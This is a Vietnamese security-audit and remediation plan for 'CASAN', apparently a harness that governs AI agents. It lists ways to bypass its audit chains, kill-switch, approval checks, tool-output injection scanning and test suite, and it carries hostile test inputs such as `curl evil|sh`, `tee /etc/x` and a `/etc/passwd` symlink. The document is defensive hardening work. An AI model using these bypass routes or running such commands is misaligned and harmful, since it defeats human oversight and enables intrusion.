Files
CASAN/casan-next-plans/CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md
T
2026-07-06 17:47:12 +09:00

181 lines
19 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# KẾ HOẠCH 16 — Security Audit & Remediation (core harness .sh/.py)
> Status 2026-07-06: **📋 audit xong — remediation chưa thực thi.** Đây là kết quả
> audit đối kháng toàn bộ script core harness (`.specify/scripts/bash`, helpers) +
> **kế hoạch vá cho AI/người kế tiếp thực thi**. Mỗi task có: lỗi → cách vá → cách
> verify (test fail-able). Bất biến: giữ **280/0** core harness; verify trong **WSL**
> (msys + Python Windows lệch path).
>
> Nguồn: pass-1 (4 file rủi ro cao + 8 script governance tự viết) + pass-2 (subagent
> audit ~30 file còn lại). Nhãn trạng thái: xem `CASAN_BACKLOG_STATUS.md`.
## 0. Root cause hệ thống (ưu tiên cao nhất)
Toàn bộ lớp **tamper-evidence** (audit chain, tool-call chain, telemetry integrity,
evidence pack, worm ledger, control-plane audit) dựa trên:
1. **Khoá ký local tự sinh, đặt CẠNH dữ liệu** nó bảo vệ (pubkey tái tạo mỗi lần chạy) →
ai ghi được log thì ký lại được.
2. **Hash chain SHA-256 không khoá (unkeyed)** → tính lại toàn bộ được.
3. **Verifier coi "thiếu chữ ký = `anchor=unsigned` = VALID (exit 0)"** → xoá chữ ký là
qua verify.
→ Kẻ tấn công có quyền ghi file (chính actor mà thiết kế muốn phòng) **sửa log +
tính lại chain + xoá chữ ký** ⇒ vượt mọi verify. Cộng với **JSON-injection qua
`printf`** và **`bash -c` trên lệnh lưu trong log chưa ký (RCE)**, các đảm bảo toàn
vẹn hiện **bị vô hiệu bởi chính actor local**.
**Điều kiện thoát:** neo chữ ký vào **KMS/HSM ngoài** (Vault Transit đã có
`vault-kms.sh`) + **"unsigned" = FAIL** ở mọi enforced mode.
---
## 1. Bảng findings (hợp nhất pass-1 + pass-2)
### 🔴 High
| ID | File | Attack case | Fix |
|---|---|---|---|
| H-01 | verify-audit-chain.sh · verify-tool-audit.sh · telemetry-integrity.sh · evidence-pack.sh | Thiếu `*.sig`/pubkey ⇒ `anchor=unsigned` exit 0. Sửa log → tính lại chain → xoá sig → PASS | Enforced mode: thiếu chữ ký ⇒ exit≠0; `anchor=unsigned` = FAIL |
| H-02 | tool-audit-lib.sh · sign-audit-head.sh · sign-policy-bundle.sh | Khoá private tự sinh cạnh dữ liệu, pubkey tái tạo mỗi run → ai ghi log thì ký lại | KMS/HSM (Vault Transit); pubkey provision out-of-band; bỏ auto-gen ở prod |
| H-03 | rollback-manager.sh | `execute` chạy `bash -c "$rollback_command"` đọc từ log **chưa ký** → **RCE** | Lưu restore action dạng **argv có cấu trúc**, không `bash -c`; ký + verify tx log |
| H-04 | governance-check.sh | `CASAN_APPROVER`/`CASAN_ACTOR`/`ACTION_NAME` nội suy raw qua `printf` vào JSON → `"`+newline **chèn bản ghi audit giả** (approval giả) | Xuất JSON qua `python json.dumps`/`jq`; escape/validate field |
| H-05 | action-gate.sh | Không check RC của Python; output rỗng/crash rơi vào `*) ALLOW` → **fail-open** | Bắt RC; mặc định **DENY** khi không phải ALLOW tường minh |
| H-06 | control-plane-settings.py · governance-report.py *(tự viết)* | Audit hash-chain **không ký** → file-writer tính lại chain → verify PASS; governance-report báo CERTIFIED giả | Ký head qua `sign-audit-head.sh`/KMS; governance-report yêu cầu chữ ký hợp lệ |
### 🟠 Medium
| ID | File | Attack case | Fix |
|---|---|---|---|
| M-01 | worm-ledger.py | Chain unsigned recomputable; `json.loads` không guard → malformed line crash | Neo KMS/Object-Lock; try/except fail-closed |
| M-02 | casan-harness.sh | Tool-output injection scan mặc định **warn**; kill-switch enforce **opt-in** → stop khẩn = no-op mặc định | Mặc định **block** ở non-dev; kill-switch enforce mặc định on |
| M-03 | model-digest-check.sh | `current_digest()` ưu tiên env `CASAN_MODEL_DIGEST` → tráo model + set env = qua; `pin` không ký | Bỏ env override ở enforced mode; ký pin file |
| M-04 | kill-switch.sh | `clear` **không cần authz**; state là file `rm` được | Yêu cầu approval ký để clear; state ở store được bảo vệ |
| M-05 | tool-registry-gate.sh · agent-metrics.sh | Authz theo env `CASAN_AGENT` spoof được; agent-metrics nội suy raw vào JSON | Bind identity qua token verify; JSON qua serializer |
| M-06 | pii-mask.py | Thiếu rules file / rule regex hỏng → **emit nội dung KHÔNG mask** (fail-open) | Fail-closed: từ chối/emit rỗng khi rules lỗi |
| M-07 | sandbox-run.sh | Chỉ chặn redirection `>`/`>>`; `tee /etc/x`, `cp .. /abs`, `dd of=` lọt | Cách ly filesystem thật (container/ns/ro-mount) |
| M-08 | supply-chain-gate.sh · self-improve.py · control-plane-settings.py *(tự viết)* | Approval = bất kỳ chuỗi non-empty | Verify assertion ký (nối `approval-verify.sh` JWT) |
| M-09 | provider-usage-fetch.sh | `API_URL` arg fetch bằng `curl -f` không validate scheme/host → **SSRF** (internal/`file://`) | Allowlist scheme/host; chặn internal/link-local |
| M-10 | security-check.sh · drift-detect.sh · context-compress.py *(tự viết)* | Không cap input size → **DoS**; drift `SequenceMatcher` O(n²); non-UTF8/thiếu file → **crash** thay vì fail-closed | Cap size (vd 2MB); `errors="replace"` + try/except → verdict block |
| M-11 | evidence-pack-build.py | Certify tin RC verifier do env truyền (`CASAN_EP_*`) → caller giả CERTIFIED (giảm nhẹ vì wrapper chạy verifier thật) | Chạy verifier bên trong build hoặc yêu cầu output verifier có ký |
### 🟡 Low (rút gọn)
drift-detect **coarse** (chỉ char-similarity → **lật phủ định lọt**, không must-keep) · rai-guard classify bypass bằng obfuscation (`a[at]b`) · harness-preflight enforce opt-in · secrets-scan không quét git history · supply-chain-scan typosquat chỉ distance=1 · vault-kms ví dụ dùng `http://` · dashboard-server no-auth + bind `0.0.0.0` env · approval-verify JWKS URL SSRF nếu set từ nguồn không tin · incident.sh fallback printf JSON · circuit-breaker parse-error reset counter · update-agent-context sed `\|` injection · validate-tool-input schema nông 1 tầng · tool-exec no-timeout nếu thiếu backend.
---
## 2. Kế hoạch remediation (theo ưu tiên — mỗi task có verify fail-able)
> Nguyên tắc: mỗi fix phải kèm **test đối kháng fail-able** trong `.specify/tests/`,
> nối `ci-harness-gate.sh`, giữ 280/0. Verify trong WSL.
### P0 — chặn đứng "gãy" & bypass toàn vẹn
| Task | Nội dung | Verify (test mới/mở rộng) |
|---|---|---|
| SEC-01 | **"unsigned = FAIL" ở enforced mode** cho verify-audit-chain / verify-tool-audit / telemetry-integrity / evidence-pack (thêm `CASAN_VERIFY_STRICT=1`) | Xoá `*.sig` → verify exit≠0; tamper+recompute+xoá sig → vẫn FAIL |
| SEC-02 | **KMS-anchor** cho mọi head (audit/tool/telemetry/evidence/control-plane) qua `vault-kms.sh`; bỏ auto-gen key local ở enforced mode | Ký bằng KMS, verify bằng pubkey KMS; sửa log → verify FAIL |
| SEC-03 | **rollback-manager**: bỏ `bash -c`, dùng argv có cấu trúc + verify tx log đã ký | Append record `curl evil|sh` → `execute` REFUSE |
| SEC-04 | **action-gate fail-closed**: bắt RC Python, mặc định DENY | Ép classifier crash → gate DENY (fail-able) |
| SEC-05 | **JSON-safe writers**: governance-check / agent-metrics / incident-fallback xuất JSON qua serializer | Field `"`+newline → không có bản ghi giả thứ 2 |
| SEC-06 | **control-plane/governance-report ký head** (H-06) | Tamper store + recompute → governance-report NOT_CERTIFIED |
### P1 — authz, fail-open, DoS
| Task | Nội dung | Verify |
|---|---|---|
| SEC-07 | **Approval thật**: supply-chain-gate / self-improve / control-plane / kill-switch.clear verify JWT qua `approval-verify.sh` | `--approval x` (chuỗi bừa) → DENY; JWT hợp lệ → cho |
| SEC-08 | **pii-mask fail-closed** khi rules lỗi/regex hỏng | Thiếu rules → refuse (không emit unmasked) |
| SEC-09 | **Cap input size + fail-closed đọc** (security-check/drift-detect/context-compress) | Input > cap → block verdict; non-UTF8 → block, không traceback |
| SEC-10 | **Identity không spoof**: tool-registry-gate/agent-metrics bind token thay `CASAN_AGENT` env | Spoof env → không lên quyền |
| SEC-11 | **Enforce mặc định**: casan-harness tool-output-scan=block, kill-switch enforce on; harness-preflight bật mặc định ở prod profile | Engaged kill-switch → harness refuse mặc định |
### P2 — chiều sâu & làm cứng
| Task | Nội dung | Verify |
|---|---|---|
| SEC-12 | **drift-detect nâng cấp**: must-keep invariants + cảnh báo lật phủ định + fail-closed | Golden↔candidate lật "không" → drift FAIL dù similarity cao |
| SEC-13 | **SSRF allowlist**: provider-usage-fetch / approval-verify JWKS / dashboard bind | URL internal/`file://` → reject |
| SEC-14 | **sandbox thật** (container/ns/ro-mount) thay pattern-block; model-digest bỏ env override | `tee /etc/x` bị chặn; tráo model + env → digest FAIL |
| SEC-15 | Low cluster: secrets git-history, typosquat threshold, vault https, sed delimiter, validate-tool-input đệ quy, tool-exec no-timeout fail-closed | Mỗi mục 1 test nhỏ |
---
## 2b. Điểm yếu KIẾN TRÚC / cross-cutting (ngoài per-file — nguy hiểm hơn)
> Đây là các điểm yếu ở tầng mô hình tin cậy, làm vô hiệu cả những gate "đã PASS".
> Kế hoạch, chưa fix.
| ID | Điểm yếu | Attack case | Fix (kế hoạch) |
|---|---|---|---|
| ARCH-01 | **Gate & policy không được bảo vệ toàn vẹn** | Kẻ ghi được workspace **sửa thẳng `security-check.sh` / `prompt-filter.yaml` / `thresholds.yaml` / `model-digest.pin` / `reviewers.registry`** → bypass tuyệt đối (sửa gate/policy chứ không sửa input). | Ký + verify **bundle harness+policy** bằng KMS ngoài; harness từ chối chạy nếu self-hash ≠ signed manifest (không dùng khoá local). |
| ARCH-02 | **Test tự tham chiếu** | Test nằm cùng repo attacker sửa được → **xoá case đối kháng / hạ số check** mà gate vẫn "xanh 280/0". Con số test không chứng minh gì nếu test bị làm yếu. | Test-integrity manifest (hash + count mỗi suite) ký ngoài; CI FAIL nếu số check tụt hoặc hash đổi ngoài dự kiến. |
| ARCH-03 | **Vi phạm secure-by-default** | Hầu hết control mạnh là **opt-in env**: `CASAN_SECURITY_STRICT`, `CASAN_PREFLIGHT`, `CASAN_KILLSWITCH_ENFORCE`, `CASAN_VERIFY_STRICT`, digest mode. Không set = **tắt**. Operator lười / attacker chỉ cần không bật. | `CASAN_PROFILE=prod` bật **tất cả** enforce mặc định; ở prod, thiếu flag ⇒ enforce (không phải permissive). |
| ARCH-04 | **Tin PATH / binary** | `python`/`grep`/`sha256sum`/`openssl`/`uuidgen` lấy từ PATH; **shadow binary** trên PATH (vd `grep` giả luôn trả no-match) → điều khiển verdict gate. | Pin absolute path cho binary tối thiểu; verify tồn tại + (tùy) hash; fail-closed nếu thiếu. |
| ARCH-05 | **TOCTOU / không atomic, không lock** | `control-plane-settings` (load→modify→save) và audit append **không khoá/không atomic** → 2 run song song **mất write / vỡ hash-chain**; kill-switch check→act là race. | `flock` + ghi atomic (tmp + rename); kill-switch kiểm ngay trước hành động trong cùng critical section. |
| ARCH-06 | **Tin đồng hồ hệ thống** | JWT `exp` / approval dựa system clock; **skew/chỉnh clock** trên host → chấp nhận approval hết hạn. | Nguồn thời gian tin cậy (trusted timestamp) cho exp; ghi rõ giả định. |
| ARCH-07 | **DoS khuếch đại qua model** | Semantic classify timeout **180s**/call × nhiều step; model bị làm treo → pipeline đứng lâu. | Giảm timeout hợp lý + global time/cost budget cho mỗi run; hủy sớm. |
| ARCH-08 | **Telemetry poisoning → self-improve** | Log-injection (H-04/M-05) làm hỏng metrics → `self-improve propose` sinh đề xuất theo dữ liệu giả (dù apply cần approval). | Chỉ đọc telemetry đã ký/toàn vẹn; đánh dấu proposal nguồn-không-tin. |
| ARCH-09 | **No-op âm thầm theo nền tảng = fail-open** | Control dựa tool vắng trên nền tảng (đã thấy msys+Python Windows lệch path làm test fail giả) → trên nền tảng thiếu tool, gate **no-op âm thầm**. | `check-prerequisites` fail-closed: thiếu tool bắt buộc ⇒ refuse chạy, không chạy nửa vời. |
| ARCH-10 | **Tin tuần hoàn của evidence** | Evidence/governance-report chứng minh **nội bộ nhất quán**, không chứng minh run **trung thực** (inputs tự khai). | Cần attestation/eval độc lập bên ngoài (nhiều model / bên thứ 3) cho claim mạnh. |
### Remediation bổ sung (P0/P1 — plan)
| Task | Map | Verify |
|---|---|---|
| SEC-16 | ARCH-01 ký+verify harness/policy bundle (KMS) | Sửa 1 byte `security-check.sh`/`prompt-filter.yaml` → harness refuse |
| SEC-17 | ARCH-03 `CASAN_PROFILE=prod` enforce-by-default toàn bộ | prod profile: thiếu flag vẫn strict; test 1 control off→vẫn enforce |
| SEC-18 | ARCH-02 test-integrity manifest ký + CI check count/hash | Xoá 1 fail-able check → CI FAIL "test coverage dropped" |
| SEC-19 | ARCH-05 flock + atomic write cho store/audit | 2 `set` song song → không mất write, chain còn verify |
| SEC-20 | ARCH-04 pin binary path + prerequisites fail-closed (ARCH-09) | Shadow `grep` giả / thiếu tool → refuse, không no-op |
| SEC-21 | ARCH-07 giảm timeout + global run budget | Model treo → hủy sớm, không đứng pipeline |
| SEC-22 | ARCH-06/08/10 (ghi giả định + đánh dấu; attestation ngoài là P2) | trusted-time cho exp; proposal nguồn-không-tin gắn nhãn |
## 2c. Lớp threat MỞ RỘNG (multi-tenant · supply-chain · second-order)
> Các lớp mới ngoài per-file + kiến trúc. Kế hoạch, chưa fix.
### Multi-tenant trust model
| ID | Điểm yếu | Attack case | Fix (plan) |
|---|---|---|---|
| MT-01 | State là **file chung không phân vùng** (audit/control-plane store/telemetry/kill-switch/logs global) | Script dự án A **đọc/sửa thẳng file** của B → bỏ qua RBAC (RBAC chỉ gác API, không gác truy cập file) | Phân vùng state theo tenant + quyền FS; RBAC ở cả tầng dữ liệu, không chỉ API |
| MT-02 | Không mã hoá per-tenant | Admin/tenant A xem audit/telemetry của B | Mã hoá at-rest per-tenant; khoá theo tenant qua KMS |
| MT-03 | Kill-switch/cost/quota **global** | 1 tenant burn budget / engage kill-switch → ảnh hưởng tất cả (noisy neighbor) | Cost/quota/kill-switch scope theo tenant; cách ly tài nguyên |
| MT-04 | `project-registry.json` **chưa ký** | Tenant giả đăng ký/tráo project khác | Ký registry; verify khi load |
### Supply-chain của chính harness
| ID | Điểm yếu | Attack case | Fix (plan) |
|---|---|---|---|
| SC-01 | File policy/data unsigned (prompt-filter, pii-rules, redteam-vectors, model-digest.pin, reviewers.registry, thresholds) | Sửa policy = tắt control mà không đụng code | Ký + verify policy bundle (gộp ARCH-01) |
| SC-02 | Binary ngoài PATH không pin/hash (grep/python/openssl/curl/jq) | Shadow binary điều khiển verdict (gộp ARCH-04) | Pin path + verify provenance |
| SC-03 | Model dependency: digest env-override, không SBOM/provenance | Tráo model + set `CASAN_MODEL_DIGEST` (gộp M-03) | Bỏ env-override; model card + provenance (Plan-15) |
| SC-04 | npm/pip deps (backend + control-plane) + prisma engine tải mạng | Dep độc trong lớp governance → RCE | Lockfile + `npm audit`/SCA trong CI; pin engine |
| SC-05 | CI runner + `.gitea/workflows` editable trong repo | Sửa workflow → "green" giả; runner image không pin | Ký workflow/pipeline; pin runner image; tách quyền |
| SC-06 | Base image Docker (backend/frontend/sandbox) không pin/scan | Base image độc | Pin digest + scan image |
| SC-07 | Không ký commit / không provenance | Không chứng minh AI được ai sửa gate | Signed commits + attestation (SLSA-style) |
### Second-order & lớp khác
| ID | Điểm yếu | Attack case | Fix (plan) |
|---|---|---|---|
| X-01 | **Stored/second-order injection** | Payload trong `golden-runs`/`redteam-corpus`/`traceability-map`/requirement → nạp vào prompt sau (stored-XSS analog); gate chỉ quét input trực tiếp | Quét cả file "vàng"/data nạp vào prompt bằng H4 |
| X-02 | **ANSI/terminal-escape injection** vào log/dashboard | Nội dung attacker viết lại terminal reviewer / giấu dòng audit | Strip/escape control chars khi ghi log & render |
| X-03 | **ReDoS** trên `grep -E`/`re` | Input dựng riêng → backtracking mũ → DoS | Cap size (SEC-09) + timeout regex + tránh pattern nguy hiểm |
| X-04 | **Symlink/path-traversal** trên tham số file | Truyền symlink làm input/output → đọc/ghi path tuỳ ý (TOCTOU) | Resolve realpath + chặn ngoài workspace; `O_NOFOLLOW` |
| X-05 | **Disk-fill DoS** | Nhiều run → audit/trace append đầy đĩa → không ghi được audit → fail-open/crash | Rotation + quota + fail-closed khi không ghi được audit |
| X-06 | **Approval replay** | JWT approval hợp lệ dùng lại trong cửa sổ `exp` | Nonce một-lần + jti blacklist |
| X-07 | **Deploy provenance** | Gate xanh ở CI nhưng artifact deploy ≠ bản test | Ký artifact liên kết tested==deployed |
### Remediation bổ sung (plan)
| Task | Map | Verify |
|---|---|---|
| SEC-23 | MT-01/02/03/04 phân vùng + mã hoá + scope tenant + ký registry | Run tenant A không đọc/sửa được state B; registry giả → reject |
| SEC-24 | SC-04/05/06 SCA + pin runner/base image + ký workflow | Dep độc/workflow sửa → CI FAIL |
| SEC-25 | SC-07 signed commits + attestation | Commit không ký gate → CI cảnh báo/chặn |
| SEC-26 | X-01 quét golden/corpus/map bằng H4 khi nạp prompt | Payload trong golden → BLOCK |
| SEC-27 | X-02 strip control-char khi ghi/hiển thị log | ANSI escape trong input → log sạch |
| SEC-28 | X-04 realpath + chặn symlink ngoài workspace | Symlink `/etc/passwd` làm input → reject |
| SEC-29 | X-05 log rotation/quota + fail-closed khi audit không ghi được | Đĩa đầy → refuse, không fail-open |
| SEC-30 | X-06 nonce/jti cho approval; X-07 ký artifact | Replay JWT → DENY; artifact ≠ test → block deploy |
## 3. Ghi chú thực thi cho AI kế tiếp
- **Môi trường verify:** WSL Ubuntu (`wsl.exe -e bash -lc 'cd /mnt/d/... && ...'`); Node bằng Windows Node + `NODE_OPTIONS=--use-system-ca`.
- **Bất biến:** không tụt 280/0; mỗi control mới có test đối kháng fail-able; không hardcode verdict; không bypass.
- **Thứ tự đề xuất:** **ARCH-01/02/03 (SEC-16/17/18) là P0-class** — vì chúng cho phép mọi bypass khác (sửa gate, làm yếu test, tắt enforce). Làm cùng nhóm P0 (SEC-01→06). Rồi P1 (fail-open/DoS/authz + SEC-19/20/21). Rồi P2 (chiều sâu + attestation ngoài).
- **Phạm vi chưa soi (pass sau):** create-new-feature.sh, setup-plan.sh, check-prerequisites.sh, casan-log.sh, model-fallback.sh, provider-cost-lookup.py, telemetry-reconcile.sh, business-kpi-report.sh, artifact-scan.sh, context-validate.sh, benign-fp-report.sh, security-gate.sh (nhóm reporting/scaffolding rủi ro thấp — chưa claim clean).
---
_Liên quan: `CASAN_PLAN_07_PRODUCTION_HARDENING.md` (H4/H5/H6 + TIER 2 KMS/WORM) · `CASAN_HARDENING_STATUS.md` (control đã có) · `vault-kms.sh` (KMS anchor cho SEC-02)._